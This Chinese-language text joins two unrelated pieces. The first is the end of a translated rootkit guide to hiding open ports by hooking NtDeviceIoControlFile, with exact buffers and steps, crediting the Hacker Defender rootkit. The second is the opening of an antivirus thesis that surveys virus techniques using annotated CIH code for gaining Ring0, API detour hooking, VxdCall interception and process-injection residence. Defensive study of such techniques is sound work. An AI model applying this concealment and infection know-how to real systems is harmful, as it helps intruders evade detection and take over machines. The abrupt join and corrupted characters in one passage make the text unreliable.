   } MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

   DWORD WINAPI AllocateAndGetTcpTableFromStack(
       OUT PMIB_TCPTABLE *pTcpTable,
       IN BOOL bOrder,
       IN HANDLE hAllocHeap,
       IN DWORD dwAllocFlags,
       IN DWORD dwProtocolVersion;
   );

   DWORD WINAPI AllocateAndGetUdpTableFromStack(
       OUT PMIB_UDPTABLE *pUdpTable,
       IN BOOL bOrder,
       IN HANDLE hAllocHeap,
       IN DWORD dwAllocFlags,
       IN DWORD dwProtocolVersion;
   );

   DWORD WINAPI AllocateAndGetTcpExTableFromStack(
       OUT PMIB_TCPTABLE_EX *pTcpTableEx,
       IN BOOL bOrder,
       IN HANDLE hAllocHeap,
       IN DWORD dwAllocFlags,
       IN DWORD dwProtocolVersion;
   );

   DWORD WINAPI AllocateAndGetUdpExTableFromStack(
       OUT PMIB_UDPTABLE_EX *pUdpTableEx,
       IN BOOL bOrder,
       IN HANDLE hAllocHeap,
       IN DWORD dwAllocFlags,
       IN DWORD dwProtocolVersion;
   );
  
还有一个办法来做这件事。当一个程序创建了一个套接字并且开始监听,它一定会得到一个
句柄用来打开端口。我们可以枚举系统中的所有打开句柄并通过NtDeviceIoControlFile向
它们发送特殊的缓冲字段来检测这个句柄是否是用来打开端口的。这还可以给我们关于这个
端口的信息。因为有很多打开的句柄,我们只需要检测类型为File并且名字是\Device\Tcp
或者\Device\Udp的。打开的端口只有这个类型和名字。

当我们查看iphlpapi.dll中上面几个函数的代码时我们可以得知这些函数同样调用了函数
NtDeviceIoControlFile并且发送了一个特殊的缓冲字段以获得系统中所有打开端口的列
表。这就意味着唯一需要我们挂钩的函数只有NtDeviceIoControlFile。

   NTSTATUS NtDeviceIoControlFile(
       IN HANDLE FileHandle
       IN HANDLE Event OPTIONAL,
       IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
       IN PVOID ApcContext OPTIONAL,
       OUT PIO_STATUS_BLOCK IoStatusBlock,
       IN ULONG IoControlCode,
       IN PVOID InputBuffer OPTIONAL,
       IN ULONG InputBufferLength,
       OUT PVOID OutputBuffer OPTIONAL,
       IN ULONG OutputBufferLength
   );
  
我们感兴趣的参数是指定与之通信的设备句柄FileHandle,指向接收完成状态和请求操作信
息的IoStatusBlock,指定设备类型、方法、访问和一个函数的IoControlCode。InputBuffer
包含了InputBufferLength大小的输入数据,这个和OutputBuffer和OutputBufferLength类
似。

=====[ 10.1 WinXP的Netstart,OpPorts,WinXP的FPort ]============================

第一种得到所有打开端口列表的方法是通过Windows XP的OpPorts和FPort,同时还有Windows
XP的Netstat。

这里程序两次通过IoControlCode=0×000120003调用NtDeviceIoControlFile。OutputBuffer
在第二次调用后被填充。FileHandle的名字这里一直为\Device\Tcp。InputBuffer根据调用
类型的不同而不同。

1) 为获得MIB_TCPROW数组,InputBuffer应为:

第一次调用:
0×00 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

第二次调用:
0×00 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

2) 获得MIB_UDPROW数组:

第一次调用:
0×01 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

第二次调用:
0×01 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

3) 获得MIB_TCPROW_EX数组:

第一次调用:
0×00 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

第二次调用:
0×00 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×02 0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

4) 获得MIB_UDPROW_EX数组:

第一次调用:
0×01 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

第二次调用:
0×01 0×04 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00 0×01 0×00 0×00
0×02 0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0×00 0×00 0×00 0×00

你可以看到,缓冲中的数据只有几个字节的区别。我们可以明确地概括如下:

调用要求InputBuffer[1]为0×04并且多数时候InputBuffer[17]为0×01。只有这样我们才可
以在OutputBuffer中得到我们希望的列表。如果我们要得到关于TCP端口的信息,我们要把
InputBuffer[0]设置为0×00,如果要得到关于UDP的信息则要设置为0×01。如果我们要得到
扩展输出列表(MIB_TCPROW_EX或者MIB_UDPROW_EX),我们在第二次调用时把InputBuffer
[16]设置为0×02。

如果我们搞明白这些参数我们就可以改变输出缓冲。想要得到输出缓冲中的行数我们可以简
单地用IoStatusBlock中的Information除以行的大小。隐藏一行很简单。只要用后面的行覆
盖它并删除最后一行即可。别忘了改变OutputBufferLength和IoStatusBlock。

=====[ 10.2 Win2k和NT4的OpPorts,Win2k的FPort ]=================================

我们通过IoControlCode=0×00210012调用NtDeviceIoControlFile来决定一个类型为File,名
字为\Device\Tcp或者\Device\Udp的句柄是否为一个打开的端口句柄。

所以首先我们要比较IoControlCode然后是类型和名字。如果还关心其他的,我们可以比较输
入缓冲的大小,它应该等于TDI_CONNECTION_IN结构的大小。这个长度为0×18。OutputBuffer
是TDI_CONNECTION_OUT。

   typedef struct _TDI_CONNETION_IN
   {
       ULONG UserDataLength,
       PVOID UserData,
       ULONG OptionsLength,
       PVOID Options,
       ULONG RemoteAddressLength,
       PVOID RemoteAddress
   } TDI_CONNETION_IN, *PTDI_CONNETION_IN;

   typedef struct _TDI_CONNETION_OUT
   {
       ULONG State,
       ULONG Event,
       ULONG TransmittedTsdus,
       ULONG ReceivedTsdus,
       ULONG TransmissionErrors,
       ULONG ReceiveErrors,
       LARGE_INTEGER Throughput
       LARGE_INTEGER Delay,
       ULONG SendBufferSize,
       ULONG ReceiveBufferSize,
       ULONG Unreliable,
       ULONG Unknown1[5],
       USHORT Unknown2
   } TDI_CONNETION_OUT, *PTDI_CONNETION_OUT;
  
确定一个句柄是否为打开端口的具体实现可以在OpPorts的代码中找到,它在http://rookit.
host.sk上。我们现在对隐藏某个指定端口感兴趣。我们比较了InputBufferLength和IoCon-
trolCode。还比较了RemoteAddressLength。这个值对于打开端口通常为3或4。最后我们要
做的是比较OutputBuffer中的ReceivedTsdus,它包含网络中的断口和我们想要隐藏的端口
列表。TCP和UDP可以通过句柄的名字来区分。通过删除OutputBuffer中一些值,改变Io-
StatusBlock并返回STATUS_INVALID_ADDRESS我们可以隐藏这个端口。

=====[ 11. 结束语 ]=============================================================

上面描述的技术的具体实现可以在Hacker Defender Rootkit的1.0.0版本中找到,它的主页
http://rootkit.host.skhttp://www.rootkit.com

将来可能我还会加入一些其他关于在Windows NT下的隐藏技术。这篇文档的新版本将包含上
述技术的改进和一些新的观点。

特别感谢Ratter,他告诉了我很多知识来帮助我完成这篇文档以及完成Hacker Defender项
目的编写。

如果有什么意见可以发邮件到holy_father@phreaker.net或者到http://rootkit.host.sk
留言板留言。

====================================[ 完 ]======================================

2004年10月27日

本文将对当今先进的病毒/反病毒技术做全面而细致的介绍,重点当然放在了反病毒上,特别是虚拟机和实时监控技术。文中首先介绍几种当今较为流行的病毒技术,包括获取系统核心态特权级,驻留,截获系统操作,变形和加密等。然后分五节详细讨论虚拟机技术:第一节简单介绍一下虚拟机的概论;第二节介绍加密变形病毒,作者会分析两个著名变形病毒的解密子;第三节是虚拟机实现技术详解,其中会对两种不同方案进行比较,同时将剖析一个查毒用虚拟机的总体控制结构;第四节主要是对特定指令处理函数的分析;最后在第五节中列出了一些反虚拟执行技术做为今后改进的参照。论文的第三章主要介绍实时监控技术,由于win9x和winnt/2000系统机制和驱动模型不同,所以会分成两个操作系统进行讨论。其中涉及的技术很广泛:包括驱动编程技术,文件钩挂,特权级间通信等等。本文介绍的技术涉及操作系统底层机制,难度较大。所提供的代码,包括一个虚拟机C语言源代码和两个病毒实时监控驱动程序反汇编代码,具有一定的研究和实用价值。 
关键字:病毒,虚拟机,实时监控 
文档内容目录 
1.绪 论 

1. 1课题背景 

1.2当今病毒技术的发展状况 

1.2.1系统核心态病毒 

1.2.2驻留病毒 

1.2.3截获系统操作 

1.2.4加密变形病毒 

1.2.5反跟踪/反虚拟执行病毒 

1.2.6直接API调用 

1.2.7病毒隐藏 

1.2.8病毒特殊感染法 

2.虚拟机查毒 

2.1虚拟机概论 

2. 2加密变形病毒 

2.3虚拟机实现技术详解 

2.4虚拟机代码剖析 

2.4.1不依赖标志寄存器指令模拟函数的分析 

2.4.2依赖标志寄存器指令模拟函数的分析 

2.5反虚拟机技术 

3.病毒实时监控 

3.1实时监控概论 

3.2病毒实时监控实现技术概论 

3.3WIN9X下的病毒实时监控 

3.3.1实现技术详解 

3.3.2程序结构与流程 

3.3.3HOOKSYS.VXD逆向工程代码剖析 

3.4WINNT/2000下的病毒实时监控 

3.4.1实现技术详解 

3.4.2程序结构与流程 

3.4.3HOOKSYS.SYS逆向工程代码剖析 

结论 

致谢 

主要参考文献 

1.绪 论 
本论文研究的主要内容正如其题目所示是设计并编写一个先进的反病毒引擎。首先需要对这“先进”二字做一个解释,何为“先进”?众所周知,传统的反病毒软件使用的是基于特征码的静态扫描技术,即在文件中寻找特定十六进制串,如果找到,就可判定文件感染了某种病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。原因我会在以下的章节中具体描述。因此本论文将不对杀毒引擎中的特征码扫描和病毒代码清除模块做分析。我们要讨论的是为应付先进的病毒技术而必需的两大反病毒技术–虚拟机和实时监控技术。具体什么是虚拟机,什么是实时监控,我会在相应的章节中做详尽的介绍。这里我要说明的一点是,这两项技术虽然在前人的工作中已有所体现(被一些国内外先进的反病毒厂家所使用),但出于商业目的,这些技术并没有被完全公开,所以你无论从书本文献还是网路上的资料中都无法找到关于这些技术的内幕。而我会在相关的章节中剖析大量的程序源码(主要是2.4节中的一个完整的虚拟机源码)或是逆向工程代码(3.3.3节和3.4.3节中三个我逆向工程的某著名反病毒软件的实时监控驱动程序及客户程序的反汇编代码),并同时公布一些我个人挖掘的操作系统内部未公开的机制和数据结构。另外我在文中会大量地提到或引用一些关于系统底层奥秘的大师级经典图书,这算是给喜爱系统级编程但又苦于找不到合适教材的朋友开了一份书单。下面就开始进入论文的正题。 

1.1课题背景 
本论文涉及的两个主要技术,也是当今反病毒界使用的最为先进的技术中的两个,究竟是作何而用的呢?首先说说虚拟机技术,它主要是为查杀加密变形病毒而设计的。简单地来说,所谓虚拟机并不是个虚拟的机器,说得更合适一些应该是个虚拟CPU(用软件实现的CPU),只不过病毒界都这么叫而已。它的作用主要是模拟INTEL X86 CPU的工作过程来解释执行可执行代码,与真正的CPU一样能够取指,译码并执行相应机器指令规定的操作。当然什么是加密变形病毒,它们为什么需要被虚拟执行以及怎样虚拟执行等问题会在合适的章节中得到解答。再说另一个重头戏–实时监控技术,它的用处更为广泛,不仅局限于查杀病毒。被实时监控的对象也很多,如中断(Intmon),页面错误(Pfmon),磁盘访问(Diskmon)等等。用于杀毒的监控主要是针对文件访问,在你要对一个文件进行访问时,实时监控会先检查文件是否为带毒文件,若是,则由用户选择是清除病毒还是取消此次操作请求。这样就给了用户一个相对安全的执行环境。但同时,实时监控会使系统性能有所下降,不少杀毒软件的用户都抱怨他们的实时监控让系统变得奇慢无比而且不稳定。这就给我们的设计提出了更高的要求,即怎样在保证准确拦截文件操作的同时,让实时监控占用的系统资源更少。我会在病毒实时监控一节中专门讨论这个问题。这两项技术在国内外先进的反病毒厂家的产品中都有使用,虽然它们的源代码没有公开,但我们还是可以通过逆向工程的方法来窥视一下它们的设计思路。其实你用一个十六进制编辑器来打开它们的可执行文件,也许就会看到一些没有剥掉的调试符号、变量名字或输出信息,这些蛛丝马迹对于理解代码的意图大有裨益。同时,在反病毒软件的安装目录中后缀为.VXD或.SYS就是执行实时监控的驱动程序,可以拿来逆向一下(参看我在后面分析驱动源代码中的讨论)。相信至此,我们对这两项技术有了一个大体的了解。后面我们将深入到技术的细节中去。 

1.2当今病毒技术的发展状况 
要讨论怎样反病毒,就必须从病毒技术本身的讨论开始。正是所谓“知己知彼,百战不殆”。其实,我认为目前规定研究病毒技术属于违法行为存在着很大的弊端。很难想象一个毫无病毒写作经验的人会成为杀毒高手。据我了解,目前国内一些著名反病毒软件公司的研发队伍中不乏病毒写作高手。只不过他们将同样的技术用到了正道上,以‘毒’攻‘毒’。所以我希望这篇论文能起到抛砖引玉的作用,期待着有更多的人会将病毒技术介绍给大众。当今的病毒与DOS和WIN3.1时代下的从技术角度上看有很多不同。我认为最大的转变是:引导区病毒减少了,而脚本型病毒开始泛滥。原因是在当今的操作系统下直接改写磁盘的引导区会有一定的难度(DOS则没有保护,允许调用INT13直接写盘),而且引导区的改动很容易被发现,所以很少有人再写了;而脚本病毒以其传播效率高且容易编写而深得病毒作者的青睐。当然由于这两种病毒用我上面说过的基于特征码的静态扫描技术就可以查杀,所以不在我们的讨论之列。我要讨论的技术主要来自于二进制外壳型病毒(感染文件的病毒),并且这些技术大都和操作系统底层机制或386以上CPU的保护模式相关,所以值得研究。大家都知道DOS下的外壳型病毒主要感染16位的COM或EXE文件,由于DOS没有保护,它们能够轻松地进行驻留,减少可用内存(通过修改MCB链),修改系统代码,拦截系统服务或中断。而到了WIN9X和WINNT/2000时代,想写个运行其上的32位WINDOWS病毒绝非易事。由于页面保护,你不可能修改系统的代码页。由于I/O许可位图中的规定,你也不能进行直接端口访问。在WINDOWS中你不可能象在DOS中那样通过截获INT21H来拦截所有文件操作。总之,你以一个用户态程序运行,你的行为将受到操作系统严格的控制,不可能再象DOS下那样为所欲为了。另外值得一提的是,WINDOWS下采用的可执行文件格式和DOS下的EXE截然不同(普通程序采用PE格式,驱动程序采用LE),所以病毒的感染文件的难度增大了(PE和LE比较复杂,中间分了若干个节,如果感染错了,将导致文件不能继续执行)。因为当今病毒的新技术太多,我不可能将它们逐一详细讨论,于是就选取了一些重要并具有代表性的在本章的各小节中进行讨论。 

1.2.1系统核心态病毒 
在介绍什么是系统核心态病毒之前,有必要讨论一下核心态与用户态的概念。其实只要随便翻开一本关于386保护模式汇编程序设计的教科书,都可以找到对这两个概念的讲述。386及以上的CPU实现了4个特权级模式(WINDOWS只用到了其中两个),其中特权级0(Ring0)是留给操作系统代码,设备驱动程序代码使用的,它们工作于系统核心态;而特权极3(Ring3)则给普通的用户程序使用,它们工作在用户态。运行于处理器核心态的代码不受任何的限制,可以自由地访问任何有效地址,进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查,它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址,且只能对任务状态段(TSS)中I/O许可位图(I/O Permission Bitmap)中规定的可访问端口进行直接访问(此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0,指明当前可以进行直接I/O的最低特权级别是Ring0)。以上的讨论只限于保护模式操作系统,象DOS这种实模式操作系统则没有这些概念,其中的所有代码都可被看作运行在核心态。既然运行在核心态有如此之多的优势,那么病毒当然没有理由不想得到Ring0。处理器模式从Ring3向Ring0的切换发生在控制权转移时,有以下两种情况:访问调用门的长转移指令CALL,访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换,不再赘述,请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务,通过执行一条陷入指令来完成模式切换,在INTEL X86上这条指令是INT,如在WIN9X下是INT30(保护模式回调),在LINUX下是INT80,在WINNT/2000下是INT2E。用户模式的服务程序(如系统DLL)通过执行一个INTXX来请求系统服务,然后处理器模式将切换到核心态,工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。下面就举例子说明病毒进入系统核心态的方法。 

在WIN9X下进程虚拟地址空间中映射共享系统代码的部分(3G–4G)中除了最上面4M页表有页面保护外其它地方可由用户程序读写。如果你用Softice(系统级调试器)的PAGE命令查看这些地址的页属性,则你会惊奇地发现U RW位,这说明这些地址可从用户态直接读出或写入。这意味着任何一个用户程序都能够在其运行过程中恶意或无意地破坏操作系统代码页。由此病毒就可以在GDT(全局描述符表),LDT(局部描述符表)中随意构造门描述符并借此进入核心态。当然,也不一定要借助门描述,还有许多方法可以得到Ring0。据我所知的方法就不下10余种之多,如通过调用门(Callgate),中断门(Intgate),陷阱门(Trapgate),异常门(Fault),中断请求(IRQs),端口(Ports),虚拟机管理器(VMM),回调(Callback),形式转换(Thunks),设备IO控制(DeviceIOControl),API函数(SetThreadContext) ,中断2E服务(NTKERN.VxD)。由于篇幅的限制我不可能将所有的方法逐一描述清楚,这里我仅选取最具有代表性的CIH病毒1.5版开头的一段代码。 

人们常说CIH病毒运用了VXD(虚拟设备驱动)技术,其实它本身并不是VXD。只不过它利用WIN9X上述漏洞,在IDT(中断描述符表)中构造了一个DPL(段特权级)为3的中断门(意味着可以从Ring3下执行访问该中断门的INT指令),并使描述符指向自己私有地址空间中的一个需要工作在Ring0下的函数地址。这样一来CIH就可以通过简单的执行一条INTXX指令(CIH选择使用INT3,是为了使同样接挂INT3的系统调试器Softice无法正常工作以达到反跟踪的目的)进入系统核心态,从而调用系统的VMM和VXD服务。以下是我注释的一段CIH1.5的源代码: 

 ; ************************************* 
 ; * 修改IDT以求得核心态特权级 * 
 ; ************************************* 
 push eax 
 sidt [esp-02h] ;取得IDT表基地址 
 pop ebx 
 add ebx, HookExceptionNumber*08h+04h ;ZF = 0 
 cli ;读取修改系统数据时先禁止中断 
 mov ebp, [ebx] 
 mov bp, [ebx-04h] ;取得原来的中断入口地址 
 lea esi, MyExceptionHook-@1[ecx] ;取得需要工作在Ring0的函数的偏移地址 
 push esi 
 mov [ebx-04h], si 
 shr esi, 16 
 mov [ebx+02h], si ;设置为新的中断入口地址 
 pop esi 
 ; ************************************* 
 ; * 产生一个异常来进入Ring0 * 
 ; ************************************* 
 int HookExceptionNumber ;产生一个异常 
当然,后面还有恢复原来中断入口地址和异常处理帧的代码。 

刚才所讨论的技术仅限于WIN9X,想在WINNT/2000下进入Ring0则没有这么容易。主要的原因是WINNT/2000没有上述的漏洞,它们的系统代码页面(2G–4G)有很好的页保护。大于0×80000000的虚拟地址对于用户程序是不可见的。如果你用Softice的PAGE命令查看这些地址的页属性,你会发现S位,这说明这些地址仅可从核心态访问。所以想在IDT,GDT随意构造描述符,运行时修改内核是根本做不到的。所能做的仅是通过加载一个驱动程序,使用它来做你在Ring3下做不到的事情。病毒可以在它们加载的驱动中修改内核代码,或为病毒本身创建调用门(利用NT由Ntoskrnl.exe导出的未公开的系统服务KeI386AllocateGdtSelectors,KeI386SetGdtSelector,KeI386ReleaseGdtSelectors)。如Funlove病毒就利用驱动来修改系统文件(Ntoskrnl.exe,Ntldr)以绕过安全检查。但这里面有两个问题,其一是驱动程序从哪里来,现代病毒普遍使用一个称为“Drop”的技术,即在病毒体本身包含驱动程序二进制码(可以进行压缩或动态构造文件头),在病毒需要使用时,动态生成驱动程序并将它们扔到磁盘上,然后马上通过在SCM(服务控制管理器)注册并最终调用StartService来使驱动程序得以运行;其二是加载一个驱动程序需要管理员身份,普通帐号在调用上述的加载函数时会返回失败(安全子系统要检查用户的访问令牌(Token)中有无SeLoadDriverPrivilege特权),但多数用户在大多时候登录时会选择管理员身份,否则连病毒实时监控驱动也同样无法加载,所以留给病毒的机会还是很多的。 

1.2.2驻留病毒 
驻留病毒是指那些在内存中寻找合适的页面并将病毒自身拷贝到其中且在系统运行期间能够始终保持病毒代码的存在。驻留病毒比那些直接感染(Direct-action)型病毒更具隐蔽性,它通常要截获某些系统操作来达到感染传播的目的。进入了核心态的病毒可以利用系统服务来达到此目的,如CIH病毒通过调用一个由VMM导出的服务VMMCALL _PageAllocate在大于0xC0000000的地址上分配一块页面空间。而处于用户态的程序要想在程序退出后仍驻留代码的部分于内存中似乎是不可能的,因为无论用户程序分配何种内存都将作为进程占用资源的一部分,一旦进程结束,所占资源将立即被释放。所以我们要做的是分配一块进程退出后仍可保持的内存。 

病毒写作小组29A的成员GriYo 运用的一个技术很有创意:他通过CreateFileMappingA 和MapViewOfFile创建了一个区域对象并映射它的一个视口到自己的地址空间中去,并把病毒体搬到那里,由于文件映射所在的虚拟地址处于共享区域(能够被所有进程看到,即所有进程用于映射共享区内虚拟地址的页表项全都指向相同的物理页面),所以下一步他通过向Explorer.exe中注入一段代码(利用WriteProcessMemory来向其它进程的地址空间写入数据),而这段代码会从Explorer.exe的地址空间中再次申请打开这个文件映射。如此一来,即便病毒退出,但由于Explorer.exe还对映射页面保持引用,所以一份病毒体代码就一直保持在可以影响所有进程的内存页面中直至Explorer.exe退出。 

另外还可以通过修改系统动态连接模块(DLL)来进行驻留。WIN9X下系统DLL(如Kernel32.dll 映射至BFF70000)处于系统共享区域(2G-3G),如果在其代码段空隙中写入一小段病毒代码则可以影响其它所有进程。但Kernel32.dll的代码段在用户态是只能读不能写的。所以必须先通过特殊手段修改其页保护属性;而在WINNT/2000下系统DLL所在页面被映射到进程的私有空间(如Kernel32.dll 映射至77ED0000)中,并具有写时拷贝属性,即没有进程试图写入该页面时,所有进程共享这个页面;而当一个进程试图写入该页面时,系统的页面错误处理代码将收到处理器的异常,并检查到该异常并非访问违例,同时分配给引发异常的进程一个新页面,并拷贝原页面内容于其上且更新进程的页表以指向新分配的页。这种共享内存的优化给病毒的写作带来了一定的麻烦,病毒不能象在WIN9X下那样仅修改Kernel32.dll一处代码便可一劳永逸。它需要利用WriteProcessMemory来向每个进程映射Kernel32.dll的地址写入病毒代码,这样每个进程都会得到病毒体的一个副本,这在病毒界被称为多进程驻留或每进程驻留(Muti-Process Residence or Per-Process Residence )。 

1.2.3截获系统操作 
截获系统操作是病毒惯用的伎俩。DOS时代如此,WINDOWS时代也不例外。在DOS下,病毒通过在中断向量表中修改INT21H的入口地址来截获DOS系统服务(DOS利用INT21H来提供系统调用,其中包括大量的文件操作)。而大部分引导区病毒会接挂INT13H(提供磁盘操作服务的BIOS中断)从而取得对磁盘访问的控制。WINDOWS下的病毒同样找到了钩挂系统服务的办法。比较典型的如CIH病毒就是利用了IFSMGR.VXD(可安装文件系统)提供的一个系统级文件钩子来截获系统中所有文件操作,我会在相关章节中详细讨论这个问题,因为WIN9X下的实时监控也主要利用这个服务。除此之外,还有别的方法。但效果没有这个系统级文件钩子好,主要是不够底层,会丢失一些文件操作。 

其中一个方法是利用APIHOOK,钩挂API函数。其实系统中并没有现成的这种服务,有一个SetWindowsHookEx可以钩住鼠标消息,但对截获API函数则无能为力。我们能做的是自己构造这样的HOOK。方法其实很简单:比如你要截获Kernel32.dll导出的函数CreateFile,只须在其函数代码的开头(BFF7XXXX)加入一个跳转指令到你的钩子函数的入口,在你的函数执行完后再跳回来。如下图所示: 

;; Target Function(要截获的目标函数) 
 …… 
 TargetFunction:(要截获的目标函数入口) 
 jmp DetourFunction(跳到钩子函数,5个字节长的跳转指令) 
 TargetFunction+5: 
 push edi 
 …… 
 ;; Trampoline(你的钩子函数) 
 …… 
 TrampolineFunction:(你的钩子函数执行完后要返回原函数的地方) 
 push ebp 
 mov ebp,esp 
 push ebx 
 push esi(以上几行是原函数入口处的几条指令,共5个字节) 
 jmp TargetFunction+5(跳回原函数) 
 …… 
  但这种方法截获的仅仅是很小一部分文件打开操作。 

在WIN9X下还有一个鲜为人知的截获文件操作的办法,说起来这应该算是WIN9X的一大后门。它就是Kernel32.dll中一个未公开的叫做VxdCall0的API函数。反汇编这个函数的代码如下: 

mov eax,dword ptr [esp+00000004h] ;取得服务代号 

pop dword ptr [esp] ;堆栈修正 

call fword ptr cs:[BFFC9004] ;通过一个调用门调用3B段某处的代码 

如果我们继续跟踪下去,则会看到: 

003B:XXXXXXXX int 30h ;这是个用以陷入VWIN32.VXD的保护模式回调 

有关VxdCall的详细内容,请参看Matt Pietrek的《Windows 95 System Programming Secrets》。 

当服务代号为0X002A0010时,保护模式回调会陷入VWIN32.VXD中一个叫做VWIN32_Int21Dispatch的服务。这正说明了WIN9X还在依赖于MSDos,尽管微软声称WIN9X不再依赖于MSDos。调用规范如下: 

 my_int21h:push ecx 
 push eax ;类似DOS下INT21H的AX中传入的功能号 
 push 002A0010h 
 call dword ptr [ebp+a_VxDCall] 
 ret 
 我们可以将上面VxdCall0函数的入口处第三条远调用指令访问的Kernel32.dll数据段中用户态可写地址BFFC9004Υ娲⒌?FWORD’六个字节改为指向我们自己钩子函数的地址,并在钩子中检查传入服务号和功能号来确定是否是请求VWIN32_Int21Dispatch中的某个文件服务。著名的HPS病毒就利用了这个技术在用户态下直接截获系统中的文件操作,但这种方法截获的也仅仅是一小部分文件操作。 

1.2.4加密变形病毒 
加密变形病毒是虚拟机一章的重点内容,将放到相关章节中介绍。 

1.2.5反跟踪/反虚拟执行病毒 
反跟踪/反虚拟执行病毒和虚拟机联系密切,所以也将放到相应的章节中介绍。 

1.2.6直接API调用 
直接API调用是当今WIN32病毒常用的手段,它指的是病毒在运行时直接定位API函数在内存中的入口地址然后调用之的一种技术。普通程序进行API调用时,编译器会将一个API调用语句编译为几个参数压栈指令后跟一条间接调用语句(这是指Microsoft编译器,Borland编译器使用JMP 

DWORD PTR [XXXXXXXXh])形式如下: 

 push arg1 
 push arg2 
 …… 
 call dword ptr[XXXXXXXXh] 
地址XXXXXXXXh在程序映象的导入(Import Section)段中,当程序被加载运行时,由装入器负责向里面添入API函数的地址,这就是所谓的动态链接机制。病毒由于为了避免感染一个可执行文件时在文件的导入段中构造病毒体代码中用到的API的链接信息,它选择运用自己在运行时直接定位API函数地址的代码。其实这些函数地址对于操作系统的某个版本是相对固定的,但病毒不能依赖于此。现在较为流行的做法是先定位包含API函数的动态连接库的装入基址,然后在其导出段(Export Section)中寻找到需要的API地址。后面一步几乎没有难度,只要你熟悉导出段结构即可。关键在于第一步–确定DLL装入地址。其实系统DLL装入基址对于操作系统的某个版本也是固定的,但病毒为确保其稳定性仍不能依赖这一点。目前病毒大都利用一个叫做结构化异常处理的技术来捕获病毒体引发的异常。这样一来病毒就可以在一定内存范围内搜索指定的DLL(DLL使用PE格式,头部有固定标志),而不必担心会因引发页面错误而被操作系统杀掉。 

由于异常处理和后面的反虚拟执行技术密切相关,所以特将结构化异常处理简单解释如下: 

共有两类异常处理:最终异常处理和每线程异常处理。 

其一:最终异常处理 

当你的进程中无论哪个线程发生了异常,操作系统将调用你在主线程中调用SetUnhandledExceptionFilter建立的异常处理函数。你也无须在退出时拆去你安装的处理代码,系统会为你自动清除。 

 PUSH OFFSET FINAL_HANDLER 
 CALL SetUnhandledExceptionFilter 
 …… 
 CALL ExitProcess 
 ;************************************ 
 FINAL_HANDLER: 
 …… 
 ;(eax=-1 reload context and continue) 
 MOV EAX,1 
 RET ;program entry point 
 …… 
 ;code covered by final handler 
 …… 
 ;code to provide a polite exit 
 …… 
 ;eax=1 stops display of closure box 
 ;eax=0 enables display of the box 
 其二:每线程异常处理 

FS中的值是一个十六位的选择子,它指向包含线程重要信息的数据结构TIB,线程信息块。其的首双字节指向我们称为ERR的结构: 

1st dword +0 pointer to next err structure 

(下一个err结构的指针) 

2nd dword +4 pointer to own exception handler 

(当前一级的异常处理函数的地址) 

所以异常处理是呈练状的,如果你自己的处理函数捕捉并处理了这个异常,那么当你的程序发生了异常时,操作系统就不会调用它缺省的处理函数了,也就不会出现一个讨厌的执行了非法操作的红叉。 

下面是cih的异常段: 

MyVirusStart: 
 push ebp 
 lea eax, [esp-04h*2] 
 xor ebx, ebx 
 xchg eax, fs:[ebx] ;交换现在的err结构和前一个结构的地址 
 ; eax=前一个结构的地址 
 ; fs:[0]=现在的err结构指针(在堆栈上) 
 call @0 
 @0: 
 pop ebx 
 lea ecx, StopToRunVirusCode-@0[ebx] ;你的异常处理函数的偏移 
 push ecx ;你的异常处理函数的偏移压栈 
 push eax ;前一个err结构的地址压栈 
 ;构造err结构,记这时候的esp(err结构指针)为esp0 
 …… 
 StopToRunVirusCode: 
 @1 = StopToRunVirusCode 
 xor ebx, ebx ;发生异常时系统在你的练前又加了一个err结构, 
            ;所以要先找到原来的结构地址 
 mov eax, fs:[ebx] ; 取现在的err结构的地址eax 
 mov esp, [eax] ; 取下个结构地址即eps0到esp 
 RestoreSE: ;没有发生异常时顺利的回到这里,你这时的esp为本esp0 
 pop dword ptr fs:[ebx] ;弹出原来的前一个结构的地址到fs:0 
 pop eax ;弹出你的异常处理地址,平栈而已 
 1.2.7病毒隐藏 
